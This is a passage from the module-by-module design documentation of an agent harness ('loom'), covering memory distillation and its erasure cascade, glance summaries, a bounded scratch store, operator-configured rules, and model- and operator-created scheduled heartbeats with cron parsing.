strand driver's hot path: `max_sidecar_bytes` (four times the render
cap) is asked of the *file* by one `stat` before a byte is read, so a
file that could not have come from `render_digest` costs nothing and is
refused whole rather than clipped to a plausible prefix, while a file
merely over the render cap is still read and clipped as before.
`digest_reader` is the reader a server installs — the one that carries
a logger, so a refusal says `memory.digest_oversize` instead of looking
exactly like a repository that has never distilled. `read_digest` stays
the silent door.
- `client/memory.{memory_file, digest_file, store_beside, digest_beside,
directory_of, fact_type, lesson_type, preference_type, pipeline_types,
type_named, short_name, max_digest_bytes, max_distillates,
max_row_chars, lease_ttl_ms, run_lease_ttl_ms, head_key, cursor_key,
notes_cursor_key,
note_count_key, Cursor, cursor_from, cursor_value, MemoryFault, Opened,
open, close, probe, SourceRef, Provenance, no_provenance, Distillate,
distillate_of, provenance_of, provenance_by_id, names_source,
append_distillates, head, head_rows, advance_head, replace_head,
advance_cursors, NotesRewind, Rewind, no_rewind, cursor_rewind,
cell, notes_after, safe_text, remember_seam, fence, render_digest,
read_digest, write_digest, reconcile_digest, digest_hooks, wrapped}` —
the memory plane: the
`loom-memory.db` session beside the session files (the fold
`client/history` established, deliberately *not* the workspace), the
`loom-memory.digest` sidecar the server injects from, and the host side
of the `remember` door. Opened with the ordinary writer lease and
`session.ensure_id` called by hand, because nothing here goes through
`runtime/api` — which is also why its bookkeeping cells need no
reserved prefix. **The TTL is the caller's**, and the two callers are
nothing alike: a `remember` write covers one commit, while a run's
commits are separated by whole provider turns and it takes
`run_lease_ttl_ms` so no opener can steal the file out from under a
model turn (the `rewrite_lease_ttl_ms` precedent, and a constant rather
than a renewal timer because a command has no supervision tree to hang
one on). **`append_distillates` and `advance_head` are separate
on purpose**: rows commit first, the head-and-cursors CAS commits last,
and a run killed between them leaves the previous head, cursors and
sidecar standing over inert orphan rows. `render_digest` writes the
body only — scrubbed, byte-capped, truncation marked — and `wrapped`
builds the fence and the attribution at injection time, so the file
cannot forge its own provenance.
The **erasure cascade's** reading surface is here too (#115).
`provenance_of` is the total decoder of the `{text, sources, derived_from}`
payload — anything it cannot read is `no_provenance`, which names
nothing and is therefore *kept*, so one malformed row can never empty
memory. `provenance_by_id` pairs each head id with what its row
records, **one pair per id including ids the store cannot resolve**, so
an unresolvable head id survives the rewrite rather than vanishing from
it. `names_source` is the match, at session grain because provenance is
batch-level. `replace_head` is the write: the head cell and the cursor
rewind in one CAS, no rows, sharing `advance_head`'s expectation so the
head only ever moves under a CAS. `cursor_rewind` computes that rewind
(#124) — every `distill/cursor/*` cell wound back to seq zero under the
generation it recorded, plus the notes cursor when a consolidation has
consumed anything. Those cells *are* the pipeline's record of what it
has read, so the prefix scan sees sources a directory walk at cascade
time could not: a file a live server holds the lease on, a file since
moved away. `no_rewind` is the empty one, which is what an ordinary
head replacement passes.
- `client/distill.{Answer, Distiller, Candidate, Extract, Harvest, Report,
Cascade, CascadeMode, Config, default_scan_limit, max_extract_chars,
max_notes_per_run,
default_timeout_ms, distill_owner, extractable, extraction_input,
extraction_prompt, consolidation_prompt, parse_candidates, config_for,
with_logger, run, cascade, no_distiller, source_files, target,
gateway_distiller, capped_gateway_distiller, main}` — the
distillation pipeline, runnable as `gleam run -m client/distill --
--config loom.toml [--session-dir <dir> | --session <path.db>]`. It
walks the session directory's `*.db` files, skips every one whose
writer lease is held (**that is the live-session rule, entire**), reads
each above a `{seq, rewrite generation}` cursor, extracts, consolidates
against the current head and the `remember` notes, and re-renders the
sidecar. `extractable` is the anti-feedback exclusion and is a rule
about types: settled assistant text (`client/rules.scannable_text`,
shared with the rule scanner) plus compaction and branch summaries, and
nothing from a user turn or a `CustomEntry`. `Distiller` is the whole
provider surface, so a test scripts both model turns; `target` picks the
`Summarize` route when the catalogue has one and the resolved main
identity when it does not, the summary path's own arrangement.
Two properties of the pass shape are load-bearing rather than
incidental. **Only the sources extraction got an answer for** drive the
cursors and the provenance: advancing a failed source's cursor would
lose its entries permanently and silently, and naming it in provenance
would over-claim a contribution #115's cascade would act on. And the
consolidation turn is dispatched on what extraction **produced**, not
on what it was offered — a repository whose sources all honestly answer
`nothing` commits a cursors-only transaction, leaves the head alone,
and does not re-pay the same extraction turns on every run forever.
Every run, that one included, ends by reconciling the sidecar against
the head.
**`--cascade <source-session-id>` is the second command behind the same
entry point** (`cascade`, issue #115): the first-order erasure cascade,
run by the operator *after* `session/repo` has rewritten that source.
It drops from the head every distillate whose provenance names the
session and re-renders the sidecar without them. Five things about it
are load-bearing. It **needs no `--config`** and runs under
`no_distiller`, because it dispatches no model turn. It **writes no
rows** — every survivor is already durable — so the pipeline's write
order holds trivially, and it takes the *short* lease rather than
`run_lease_ttl_ms`, since nothing slow sits between its commits. A
cascade that drops rows **rewinds the cursors in the same CAS**
(#124): a head is uniform in provenance, so an effective cascade
empties it, and re-reading the surviving sources is the only rebuild
there is, so `memory.cursor_rewind`'s cells ride inside
`memory.replace_head`'s transaction. One transaction is the point — a
crash between an emptied head and a separate cursor write would leave
the head empty above high-water cursors, which is the unrecoverable
state the issue described. The next ordinary pass re-extracts every
readable source and folds the notes in again, which costs one
extraction request per source plus one consolidation and is the only
rebuild on offer; `distill_test`'s
`an_emptying_cascade_rewinds_so_the_next_pass_rebuilds` drives the
whole loop. **`CascadeMode` is the fifth**: `Preview` (`--dry-run`)
computes the same answer — dropped, kept, rewound, notes — reports it
and writes nothing at all, no CAS and no sidecar, so an operator sees
the wipe and its price before paying either. And a cascade that
drops nothing **does not CAS at all**, because writing the identical id
list back would still bump the cell's seq and lose a concurrent run's
expectation — so it rewinds nothing either. First-order: a row whose `derived_from` names a dropped
row is not chased, and within one head that is vacuous rather than
deferred. The induction is written out at `memory.replace_head` and
needs **both** head writers: `advance_head` mints a fresh batch whose
ids are disjoint from what its `derived_from` names, and `replace_head`
writes a *subset* of an existing head, which preserves that
disjointness. A third head writer introducing new ids would void it
silently. The `Cascade` report carries an `unreadable` count — rows
kept because their provenance would not decode, which is the one place
the command under-deletes. `docs/spec-gaps.md`'s M2
item 9 carries the boundary and the over-deletion it implies.
- `client/glance.{Wiring, Report, Message, request_timeout_ms,
max_answer_tokens, request_deadline_ms, branch_window, target,
summarizer, hooks, context_of, is_watched, start, supervised}` — the
glance loop, one **`weft/state_machine`** per session that writes a
`core/glance` cell under `client/glance/{strand}` for every running
strand but `main` and `advisor`. `hooks(built, name)` wraps the `usage`
slot with a cast of `Stepped(operation, context)` and captures only the
name and the inner slot, because the hooks are copied into every strand
driver. The machine resolves the strand through `notes.strand_of`, asks
`client/glancepace.step` what to launch, and arms one named timeout
(`glance-wake`) for the plan's `wake` or cancels it on `None`, so an
idle session holds no timer. It has one state, `Watching`, the
`schedulescan` arrangement. Each launch is a one-task `weft` run under
`request_deadline_ms`, relayed into a sink subject created for it. The
sink is selected (`sm.with_selector`, rebuilt on every plan) exactly
while its flight is booked, and a flight clears only on the run's last
word (`AllDelivered` or `RunLost`), never on the outcome alone, so a
strand is not launched again while its worker is alive and a relay's
trailing message never arrives unselected. The task does all the I/O.
It returns `Gone` when the operation is no longer the strand's live one.
Otherwise it reads `op.meta`, the prompt entries and at most
`branch_window` branch entries back to the source leaf straight off the
store, reuses the stored title when the cell names this operation, asks
the summarizer, and writes with `api.put_reserved_fact` through the
borrowed runtime. `target` is `summarize`, then `subagent`, then `main`,
as `ForRole(role, Some(ThinkingOff))`; `summarizer` caps the answer at
`max_answer_tokens` through `distill.capped_gateway_distiller`.
`context_of` is `input + cache_read + cache_write + output` and `None`
for an adjustment row. The glance's `tokens` is that figure from the
newest row, never a sum. A failure is logged as `glance.unusable`, at
warning level on the first failure of a streak and at debug level
after. Nothing is written on failure, and the cell is never deleted.
`client/serve` starts it in the restartable service tier only when
`summarizer` resolves (otherwise it logs `glance.unavailable`). There
is no config switch.
- `client/glancepace.{Pace, default_pace, Activity, Phase, Track, Book,
Ending, Event, Launch, Plan, new, track, step}` — the glance loop's
schedule as one pure function, `step(book, event, now, pace) -> Plan`.
A strand's first `Stepped` in an operation is due at once. After
`Summarized`, the next request is due `every_ms` after the previous
request *started*. Only a `Fresh` strand, one that stepped since its
last request began, is ever launched. `Asking` strands are never
relaunched, and the launch pass fills at most `concurrency` slots, most
overdue first with ties broken by strand name. `Unusable` sets the
strand `Fresh` again and backs it off from `retry_ms`, doubling to
`retry_cap_ms`. `Ended` forgets it, and a `Resting` strand quiet for
`retire_after_ms` is forgotten lazily on the next step. A successor
operation inherits its predecessor's `Asking` phase, so the strand's
one slot stays held until the old answer settles. `Plan.wake` is the
soonest due instant of a resting, fresh strand. A due strand that found
no slot needs no wake, because a slot frees only on a settlement, which
is an event.
- `client/glanceslice.{max_prompt_bytes, max_calls, max_call_bytes,
max_said_bytes, Title, Material, Reply, gather, request, parse}` — what
the glance summarizer is shown and how its answer is read, pure.
`gather` takes the prompt entries in acceptance order and the branch
newest first. It keeps the accepted user text (1500 B), the newest
eight tool calls oldest first (200 B each, `name <json args>`) and the
newest visible assistant text (500 B, never thinking), each through
`core/glance.clip`. `request` fences the material as data and asks for
`TITLE:` and `NOW:` when `Untitled`, `NOW:` alone when `Titled`.
`parse` is total: labels match case-insensitively through markdown
bullets, bold and quoting, and the first non-empty line per label
wins. Against `Titled` an answer without a `NOW:` label may stand on
its first unlabelled line, provided that line starts with a word ending
in "ing", since models asked for one line often drop the label. A
missing or empty line is `Error(Nil)`, and values are clipped to
`glance.max_title_bytes` and `max_summary_bytes`.
- `client/distillpass.{Cadence, Options, Pass, Config, Message,
default_wall_ms, default_options, no_pass, parse, start, supervised,
settled,
started_event, completed_event, failed_event, expired_event,
off_event}` — the distillation pass in the *session lifecycle* (#149):
the supervised worker that makes `client/distill` run without a source
checkout, a cron job or an operator. A `weft/state_machine` with two
states — `Running` while the pass is in flight, `Idle(pass)` for the
rest of the boot — started under the service tier by
`serve.with_distill_pass`, which is *after* the session's own writer
lease is held, so the live session is skipped by the pipeline's
existing lease rule rather than by a new one. The pass itself runs on
a `weft` scope bounded by `Options.wall_ms` and relayed back onto the
machine's own subject, so the machine stays able to answer while it
runs; `settled` is that answer, and a question asked mid-pass is
`postpone`d and replayed on the transition rather than polled for. It
**never re-arms**: one pass per boot is the whole cadence, and the whole
retry policy is "the next boot reads the same material again", which is
safe because the pipeline moves no cursor until it succeeds. `parse` is
the total decoder for the `[memory]` table (`distill = "on-boot" |
"off"`, `distill_wall_ms`), whose key must also be in `client/catalog`'s
allowed top-level list — the obligation `[[rule]]` and `[schedules]`
carry. `default_wall_ms` **is** `memory.run_lease_ttl_ms` and is also
the ceiling: nothing renews the memory lease but a commit, so a pass
cannot usefully outlive it, and a larger configured value is refused
rather than clamped. `Cadence` is a two-variant type rather than a flag because the
opt-out is a posture an operator takes deliberately.
- `client/scratch.{Bounds, Message, Scratch, start, supervised, stop, seam,
none, stat, default_bounds}` — the ephemeral scratch store `cap/kv`
reads and writes: a session-scoped actor, addressed by process name the
way the Agency is, holding string keys to bytes. Three bounds, each on
a different way to grow: 256 KiB per entry (refused in band), 8 MiB
total and 1024 entries (both **evicted**, least-recently-written, which
is what `cap/kv`'s "may be evicted or reset between calls" contract
asks for). `Bounds` is a plain record, so `start` passes every one
through `coherent` first — each field floored at 1, the per-entry
bound never looser than the total — because a `max_entries` of 0 makes
the store evict everything it is handed, which a program reads as
unrelenting eviction and loops on rather than failing. Clamped rather
than refused: this is a cache whose contract already says values may
vanish. Gone on restart, deliberately — a store a program can write
across sessions is a channel from one execution's model output into a
later execution's input. `none()` is the seam a host with no store
hands out, and it *refuses* rather than silently succeeding: a `set`
answering `Ok` into nothing reads to a program as an eviction and it
loops.
- `client/rules.{Rule, parse, fires_on, scannable_text, injection,
fired_key, cursor_key, fired_value, cursor_value, cursor_seq,
max_rules, max_triggers, max_name_length, max_trigger_length,
max_body_length}` — the triggered project rule store (issue #27,
design §8). A rule is `{name, triggers, body}` read from `[[rule]]`
tables in the same `loom.toml` the catalogue comes from, parsed by the
same strict, total discipline: unknown keys refused, empty and
oversized fields refused, duplicate names refused, all in words an
operator can act on. Rules are **operator configuration and never
model-writable** — a rule is text the harness injects into a model's
own context, so a store a model could write would be durable prompt
injection with a delivery mechanism attached. Triggers are literal,
case-sensitive substrings, any-of per rule, matched over an assistant
entry's visible text through `events/search.entry_text` — no regex,
because an operator-supplied pattern reached from model output is an
unbounded computation driven by the thing being matched. `injection`
is the fenced, attributed text a fire actually commits.
- `client/rulescan.{Options, default_options, with_logger, start,
supervised, default_scan_limit, default_checkpoint_every}` — the
session-scoped scanner actor. Its mailbox *is* `runtime/writer.Event`,
so it is a routed writer subscriber beside the commit
forwarder; on each hint it re-reads the store above a durable cursor
and never trusts the hint for anything. A fire is one
`api.steer_marking` — the injection and the rule's write-once
fired-mark in one transaction — so injected-never-twice is a property
of the commit rather than of the actor's memory (at-most-once in
full: the abort corner is `docs/spec-gaps.md`'s item 8). A rule that trips on an
**idle** strand is *held*, not dropped and not started: the cursor
stays frozen so the next run finds it again. A held strand the
`runtime/lineage` ledger says was reaped is judged provably dead
(issue #113) and **abandoned** rather than retried forever: the
in-memory `Progress` gets a third state beside held-and-not, the
pending rules stay unfired (nothing lies about what happened), and the
transition is logged once, `rule.hold_abandoned`. A terminal
`strand.last_result` alone is deliberately *not* this signal — see the
next invariant — so the ledger read happens once per strand per
incarnation, on the pass a hold begins, and costs nothing before or
after.
- `client/schedule.{Schedule, Owner, Timing, Expiry, Wake, Lateness,
Origin, Policy,
parse, parse_policy,
default_policy, policy_opens_the_door, wake_under, build,
encode, decode, config_key, config_key_prefix, strand_prefixes,
parse_instant, render_instant, parse_utc_offset, render_utc_offset,
max_utc_offset_s, min_utc_offset_s, fired_key,
fired_key_prefix, fired_value, seen_key, seen_value, decode_seen,
injection, origin_of, interval_occurrence,
interval_late, recurring_expired, cron_occurrence, cron_late,
cron_next_delay_ms, relative_instant, max_schedules, max_model_schedules,
min_interval_s,
max_name_length, max_body_length, max_target_length,
default_max_fires, max_max_fires, default_expires_after_s,
max_expires_after_s, min_in_seconds, max_in_seconds}` — scheduled heartbeats (`docs/design-notes/
scheduled-heartbeats.md`), the time-triggered sibling of `client/rules`:
a `[[schedule]]` fires on a clock instead of on a literal match, parsed
from the same `loom.toml` by the same strict, total discipline. A
schedule reaches the scanner from one of **two** stores and is the same
value either way: the operator's `[[schedule]]` tables, and the model's
own `schedule/config/…` reserved cells created through
`tools/schedule` (`encode`/`decode`/`config_key`). `Policy` is the
operator's say over that second door — `off`/`steer`/`wake` from a
`[schedules]` table — and `default_policy` is **`ModelSchedulesSteer`**: the
tools are registered and a model may create schedules, but none of
them can wake an idle strand until the operator writes
`[schedules] model_created = "wake"`. `off` disables model creation;
`steer` injects only into an open run; `wake` also permits fresh runs on
idle strands when the schedule requests waking. Schedules onto subagents
always steer. Every recurring schedule carries `expires_after_s`,
defaulting to and capped at 604800 seconds (seven days), measured from
the scanner's first durable observation. One-shots fire at most once and
may fire after their due time. Expiry bounds one schedule, not provider
spending: a model can
create another, so unattended check-ins require an operator opt-in. The
design note's addendum has the whole history — the feature shipped
operator-only, reopened with an open default on the strength of the
per-schedule expiry, and settled on `steer` once #161 showed that
expiry bounds a schedule and not a session (a fresh name is a fresh
clock), which under the priority order makes unsupervised liveness an
opt-in. `build` is the constructor the model-facing door and `decode`
share: it enforces exactly what `parse` enforces, through the same
predicates and constants, so the two creation paths word refusals
differently and can never disagree about what is allowed. A schedule is
exactly one of three: `Interval(seconds, expiry)`, aligned to a fixed
grid (`slot = floor(now_s / seconds)`); `Cron(expression, offset_s,
expiry)`, a five-field calendar expression parsed by `client/cron` and
read against a UTC clock shifted by `offset_s`; or
`OneShot(at)`, a single RFC3339 UTC instant. Never two, never none, and
still **no timezones anywhere** — the design note cut cron as a swamp,
and what changed is that the swamp is the *timezone* half rather than
the syntax half.
**`offset_s` is a fixed offset and emphatically not a zone**, which is
the whole of what the addition costs and what every description a model
or an operator reads has to say. A zone is a function from an instant
to an offset — Berlin is +01:00 in January and +02:00 in July — and
answering which needs the IANA database this tree will not carry, so a
schedule written `+02:00` in summer fires an hour off its author's own
clock all winter. What it buys is the thing an operator actually asks
for: "09:00 my time", which a UTC-read expression cannot say at all.
Written `utc_offset = "+02:00"` in TOML (`[+-]HH:MM`, allowed **only**
beside `cron` and refused in words beside `every`/`at`), carried as
`utc_offset_s: Int` in the config cell (absent → 0, so every cell
written before the offset existed decodes unchanged), and parsed by the
one `parse_utc_offset` all three doors share. The bound is
`min_utc_offset_s`..`max_utc_offset_s`, ±14 hours, held by
`parse_utc_offset` *and* by `build`, because `decode` reaches the
constructor with a number that never passed through the parser.
**The shift is a reading of the clock, never a change to an
occurrence's identity**: an occurrence at UTC epoch `t` matches when
`cron.matches(expression, at_s: t + offset_s)`, and the three search
functions shift in and shift straight back out — so every occurrence id
they return is a **UTC** epoch second and `fired_key`, `seen_key` and
`config_key` are byte-identical to what they were. Storing ids in
shifted time instead would have made an edited offset unread the whole
fire history and re-fire everything. `cron` buys the one thing an interval cannot say at all:
a **phase**. The interval grid is aligned to the epoch, so `every =
"86400s"` is always 00:00 UTC and `0 9 * * 1-5` is the only way to ask
for 09:00 on weekdays. It needs no `min_interval_s` check, and that is
a property of the grammar rather than an omission — cron's finest grain
is a minute, so `* * * * *` is already exactly at the floor.
**`Interval` and `Cron` answer "what is due" differently, on purpose.**
An interval fires the slot `now_s` falls in whether or not that slot
began before the schedule existed, because a heartbeat grid has no
wall-clock meaning and "the current slot" is the only honest reading of
*now*. A cron occurrence *is* an instant somebody named, so
`cron_occurrence` answers with the last match at or before `now_s`
(`cron.previous_occurrence(before_s: now_s + 1)`) **and only if that
match is at or after `since_s`** — the observation instant from the
seen cell. A `0 9 * * *` schedule created at 15:00 therefore does not
fire this morning's 09:00; it waits for tomorrow's. `cron_late` follows
the same instant: the preceding occurrence has to have been *owed*
(`>= since_s`) and unmarked for a fire to be `Late`, which is what
makes a first fire on time. `cron_next_delay_ms` is the re-arm, floored
at a second like the interval one, and `None` — no match within
`cron.search_horizon_days` — is a schedule that will not fire again.
All three take `offset_s`, search in shifted time and answer in UTC;
`cron_next_delay_ms` in particular shifts the match back *before* it
meets `now_ms`, since shifting only one of the two would arm a delay
wrong by the whole offset.
Both recurring shapes carry a
mandatory `Expiry`: `max_fires` and `expires_after_s` are both always
active, defaulted when unset, and whichever is reached first ends the
schedule — the guardrail that caps one schedule's durable fire-mark
footprint at exactly 1,000 rows and makes `WakesIdle` (below) safe to
offer at all. The two bounds read two different durable facts.
`max_fires` counts the fired-marks; `expires_after_s` is measured from
`since_s`, **the instant the scanner first observed the schedule**,
which it records once in the cell `seen_key` names (`seen_value`,
`decode_seen`) — a third corner of `schedule/`, disjoint from the
`fired/` marks and the `config/` cells by its second segment, and
unreachable by `put_fact` like both. Measuring age from the earliest
fired-mark, which is how this shipped, gave a schedule that never
landed a fire no clock at all: a steer-only heartbeat on a strand
nobody opens a run on ticked for the life of the session while
`expires_after_s` read to an operator as a week (issue #157). The
cancellation tombstone is gone with it — `cancelled_value` no longer
exists, because cancelling a model-created schedule now deletes its
config cell (`api.delete_reserved_fact`), which is what keeps
`config_key_prefix` a list of live schedules. `Wake` is `WakesIdle | SteersOnly` and `Lateness` is
`OnTime | Late`: both are two-variant types rather than the `Bool`s
they were, because each is read at one end and written at another and
neither name carries its own polarity. The TOML `wake` key, the stored
config cell and the tool result all stay booleans on the wire, and
each boundary writes that translation down once.
`relative_instant` (with `min_in_seconds`/`max_in_seconds`) turns a
model's "in N seconds" into the absolute epoch second a `OneShot`
needs, refusing anything outside 1..604800 in words. It exists because
**the model has no clock**: the system prompt carries neither the date
nor the time, so a model asked to check back in 45 minutes cannot
compute the instant `at` wants, and the model-facing one-shot was
unusable in practice for the case it is most wanted in. The caller
supplies `now_s` rather than this module reading one, because this
module performs no I/O — `client/scheduleseam` reads the injected
`runtime/effects.clock`.
`interval_occurrence`/`interval_late`/`recurring_expired`/
`cron_occurrence`/`cron_late`/`cron_next_delay_ms`
are pure functions over the occurrence arithmetic — deliberately
factored out of the actor that drives them so a fencepost error gets a
direct, deterministic test rather than one hidden behind a timer
harness.
**A schedule has an `Owner` as well as a `target`, and the pair is
what bounds its life** (#163, #154). `Owner` is `OperatorOwned |
StrandOwned(strand)`: a `[[schedule]]` table parses to the first, a
model-created cell always carries the second, and `decode` has **no
path** to `OperatorOwned` — a cell with no `owner` field reads as
`StrandOwned(target)`, which is what every cell an earlier build wrote
actually was, and the absent field can therefore only ever name the
strand the schedule already fires onto. Ownership decides who may
`list` and `cancel`; the target decides whose context a fire lands in.
Keying cancellation on the creator is the fix: a schedule used to be
cancellable only by the strand it fired onto, so a subagent's own
heartbeat became uncancellable the moment that subagent settled and
held a ceiling slot for the rest of the session. What ownership
deliberately does *not* touch is a schedule's **identity**, which
stays `{target, name}` — config, seen and fired keys are unchanged and
name uniqueness is still per target across both stores, because an
occurrence is a fact about a strand's timeline and two schedules
sharing that pair would share a mark whoever owned them.
`strand_prefixes(strand)` is the one place a strand's whole durable
scheduling footprint is written down — the config, seen and fired
prefixes, each ending in `/` so a reap cannot reach a
similarly-named neighbour — and it is what `client/scheduleseam`
retires on a run end. `Origin` gained a third variant with the owner:
`OperatorConfigured | SelfScheduled | OwnerScheduled(owner)`, derived
from the value by `origin_of` rather than paired on by the scanner,
and the third one exists because text a parent scheduled onto a child
must not reach the child as "a heartbeat *you* scheduled" — it names
the owner and says the instruction is worth what a steer from that
strand is worth, and no more.
- `client/scheduleseam.{Wiring, Door, seam, door, limits,
describe_timing, cell}` — the host half of the model-facing scheduling
door, filling `tools/schedule`'s seam the way `client/memory` fills
`tools/remember`'s and for the same reason (`tools` may not reach a
session). It is the **only** enforcer of three things: the operator's
`Policy` (applied through `schedule.wake_under`, which caps `wake`
rather than vetoing the call, so the tool can tell the model what it
actually got), the `max_model_schedules`
ceiling, and the shared bounds via `client/schedule.build`.
`requested_timing` maps the door's four `RequestedTiming` shapes onto
one `Timing`, and it is the seam's job rather than the door's because
everything it needs is on this side: the one RFC3339 parser, the one
cron grammar (`client/cron.parse`), the defaulted `Expiry` a recurring
schedule always gets, and — for the relative one-shot `In(seconds)` —
the session's injected `runtime/effects.clock`, read through
`core/clock.read` exactly as the scanner reads it, never a wall-clock
call of its own. `In` is the only arm that reads a clock, and it is the
reason the argument exists at all: the model is told no date, so it
cannot compute an `at`. `requested_expiry` defaults `max_fires` and
`expires_after_s` and checks *neither* — both go on to
`schedule.build`, whose `checked_expiry` is the same ceiling a
`[[schedule]]` table meets, so this door holds no second copy of a
bound. `describe_timing` is the one rendering both `create` and `list`
use, and a cron reads back as `cron "0 9 * * 1-5" UTC+02:00, at most N
times` — the clock said out loud, because a caller reading
`0 9 * * 1-5` has no other way to know which 09:00 it got. A schedule
with no offset still renders bare `UTC`
(`schedule.render_utc_offset(0)`), because most have none and spelling
`UTC+00:00` out every time would train a reader to skip the clause that
matters on the rare one that does. `requested_timing`'s cron arm parses
the door's `utc_offset` through `schedule.parse_utc_offset` — the same
parser the operator's TOML key uses, so a model and an operator cannot
disagree about `+05:30` — and an absent argument is plain UTC, which is
what every request meant before the argument existed. `Wiring`
carries `operator_schedules` for one reason worth knowing: both stores
feed one scanner, which derives a fired-mark from `{target, name}`
alone, so a model name colliding with an operator's would make two
schedules share a mark and suppress each other — and this is the only
place that check can live. `Wiring.runtime` is a **borrow closure**,
not a runtime: the registry this seam joins is threaded into
`api.open`, so it is built before a runtime exists, and it reads the
session's one holder through `agency.borrow_runtime` rather than
standing up a second actor. `Door` is the same three operations keyed
on the **caller's** strand name, which is what `client/codemode` serves
`schedule.*` over — one implementation behind both doors, so a program
and a tool call cannot disagree about what this session's schedules
are. `list(caller)` answers every cell whose *owner* is the caller,
child-targeting ones included, and `cancel(caller, name, target)` finds
`{target or caller, name}` and requires the owner to match, else
`NotFound` — the same answer a name that does not exist gets, so a
caller guessing at a sibling's name learns nothing from the
difference.
Both of its writes are guarded rather than blind: `create` commits the
config cell with `api.put_reserved_fact_expecting(expected: None)`, so
a name belongs to whichever writer commits first and the loser is
answered `NameTaken` rather than having its schedule replaced — which
is what makes "creating never silently replaces" a property of the
commit instead of the tool door's `Exclusive` serialization, an
argument that never covered the code-mode door's per-plan processes
(#162). `cancel` deletes the cell through `api.delete_reserved_fact`
instead of writing a tombstone over it, both because every scanner
tick and every seam call reads the whole `schedule/config/` prefix
(#164) and because, once `create` commits on the cell's absence, a
tombstone would hold the name against every later create for the life
of the session. The pre-checks stay — `name_is_free` is the only thing
that can catch an operator's `{target, name}`, which has no cell for a
claim to collide with — and the ceiling stays inexact under a
code-mode fan-out, which can over-admit by up to `max_outstanding`;
nothing rests on the exact count, so it is documented rather than
fixed.
- `client/cron.{Expression, parse, source, matches, next_occurrence,
previous_occurrence, max_expression_length, search_horizon_days}` —
standard five-field cron: the parsed expression, what it refuses in
words, and pure occurrence arithmetic over a UTC calendar. `Expression`
is opaque because its value sets carry invariants only `parse`
establishes (sorted, deduplicated, in range, `7` folded to `0` in
day-of-week), so `client/schedule` stores the **source text** and
re-parses on `decode` rather than storing an expansion. `parse` is
total and its error is prose, because the only thing a caller does with
it is put it in front of whoever wrote the expression. Both searches
are strictly-greater/strictly-less and bounded by
`search_horizon_days` — a legal expression need not recur (`0 0 30 2 *`
asks for the thirtieth of February), so an unbounded search would not
return. The one rule a reimplementation gets wrong is in here and
documented at length: **when both day fields are restricted they are
ORed, not ANDed**, so `0 9 1 * 1` fires on the first of the month *and*
on every Monday. This module holds **no offset and no timezone
handling at all**, and that stayed true when `client/schedule` grew a
fixed `utc_offset`: the shift is applied by the caller, which adds
`offset_s` to the instant it asks about and subtracts it from the
answer, so nothing here reads a clock or knows an offset exists. No seconds field, no names, and
`L`/`W`/`?`/`#` refused by name. Performs no I/O and reads no clock:
the scanner supplies the instant.
- `client/scheduleadmin.{Admin, Row, CancelRefusal, admin}` — the
operator's door onto the scheduling store, opposite
`client/scheduleseam`'s model-facing one: it lists **everything** (an
operator watching a session watches all of it) and cancels only what a
strand wrote. A `[[schedule]]` table has no durable cell — it is
configuration, parsed at boot, and the file is the record, the posture
`client/rulescan` takes toward `[[rule]]` — so naming one is refused
with the reason rather than ignored. Cancellation reuses
`scheduleseam.retire` and then `schedulescan.poke`: one deletion order
for both doors, because the order (marks, seen cell, config cell last)
*is* the crash story, and a second order written here would be a
second chance to get it wrong. `gateway.with_schedules` takes the
`Admin`, and `client/serve` builds it over the very
`scheduleseam.Wiring` the model's door uses, so `None` there means no
admin.
- `client/schedulescan.{Options, ModelDoor, Message, max_timer_delay_ms,
default_options, with_logger, with_model_door_open, poke, start,
supervised}` — the
scheduled-heartbeat scanner, and a **`weft/state_machine`**
(loom#165). One state, `Watching`, which the machine never leaves; the
data is the parsed operator list plus the runtime and nothing else; and
the whole of its liveness is one **named** timeout under a single
constant name, re-armed by every scan for the soonest boundary any
still-active schedule needs. A scan that finds nothing active and has
`DoorShut` `sm.cancel_timeout`s that name instead, so every path
through a scan says what should be armed under it and the timer belongs
to the machine rather than to a phase (`docs/weft.md` rule 8). The
first arming is a zero-delay one made by `sm.on_enter`, which runs
exactly once because the machine has one state — an injected
`sm.continuing(Rescan)` would have scanned inside `start`'s own
continuation, and "the first tick is armed and has not run" is a state
the fixtures hold still and step through. Neither `weft/actor` nor a
periodic timeout: the delay is *recomputed per scan* from the store,
which neither a state timeout (cancelled by a transition this machine
never makes) nor a fixed cadence can carry. It arms through
`sm.with_timer_source(timer.Injected(after: runtime.effects.timers.after))`,
so a simulated session's heartbeats still run on logical time and
`schedulescan_test`'s fake wheel still drives them by hand — that
injectable source (weft 0.4.2) is the thing whose absence kept this
module hand-rolled. With it the generation tag `Message` used to carry
is gone: `Message` is `Tick | Rescan`, arming under one name supersedes
the previous arming, and a superseded wake dies in weft's own timer
book rather than in a guard written here. `start` and `supervised`
keep `gleam/otp/actor`'s `StartResult` and
`supervision.ChildSpecification` — weft returns upstream's own types —
so `client/serve` needed no change at the boundary.
Every tick unions the operator's fixed
list with the model's config cells read fresh from the store, never a
cached list: a cell can appear or be cancelled between any two ticks
and this actor is restartable, so a cache would be a second source of
truth. The union is an append and nothing more, because a schedule now
carries its own `client/schedule.Owner`: whose text a fire is comes
from `schedule.origin_of` rather than from a pairing this actor used to
carry, and a config cell can never decode as the operator's.
`poke` is what the seam rings after a write so a new schedule
starts on time rather than at the next armed deadline; it checks the
name is registered first, because a send to an unregistered name
raises and the caller is a tool body. `with_model_door_open` sets
`Options.model_door` to `DoorOpen`, which keeps a slow rescan floor
when the model may create schedules, so a lost poke self-heals within
one `min_interval_s` instead of stalling forever.
`process_schedule` dispatches the three timings, and `process_cron`
mirrors `process_interval` step for step — read the marks
(`marked_occurrences`, shared), settle the observation instant
(`observed_since`), test `schedule.recurring_expired`, fire what is
due, re-arm. The cron-specific arithmetic is all in `client/schedule`,
so this half stays a scanner. Two differences are worth knowing. The
seen cell is claimed by this actor as it always was, so `since_s` is
available on a schedule's very first tick — which is exactly the tick
that decides whether anything is owed, since a cron occurrence
predating `since_s` was never asked for. And a cron expression with no
next match inside `cron.search_horizon_days` is `Expired` for the
tick, with a `schedule.cron_never_matches` warning: `0 0 30 2 *` is
legal, will never fire, and must not leave the machine waking up over
it forever. Unlike
`client/rulescan` it is driven by its own named timeout on the injected
`runtime/effects.Timers` clock, never by a writer hint, and it
holds no progress state across ticks: every tick re-derives which
schedules are due or expired from a bounded scan of the write-once
fired-marks already in the store, read straight off `storage`
(`client/schedule.fired_key_prefix`) rather than through the writer's
mailbox — the same isolation `client/rulescan`'s direct reads give it,
for the same reason: a slow tick must never queue in front of a
settlement. The one fact the marks cannot supply is when a schedule's
`expires_after_s` window opened — a schedule that never fired has no
